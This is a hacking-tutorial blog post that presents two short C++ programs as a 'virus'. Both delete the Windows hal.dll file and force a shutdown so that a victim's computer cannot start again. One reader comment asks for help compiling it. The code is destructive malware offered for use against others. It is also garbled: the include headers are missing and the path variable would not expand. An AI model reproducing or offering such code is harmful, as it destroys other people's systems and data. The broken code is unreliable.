Disclaimer

These articles are intended for IT Professionals and systems administrators with experience servicing computer hardware. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. We are not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.

Powerful C++ Virus  


This Website has been moved to a new Domain

Tuesday, December 4, 2007
Learn How To Hack

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

The Original Code:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

Link to this post

what next?

You can also bookmark this post using your favorite bookmarking service:

Rate and Review this Blog:

related posts by categories




1 comments: to “ Powerful C++ Virus

  • Anonymous
    July 25, 2008 at 6:22 PM  

    Hey if i want to create this virus i have to include the header file. but you have written #include only. plz tell me on my email soisahil@yahoo.co.in

 

Design by Amanda @ Blogger Buster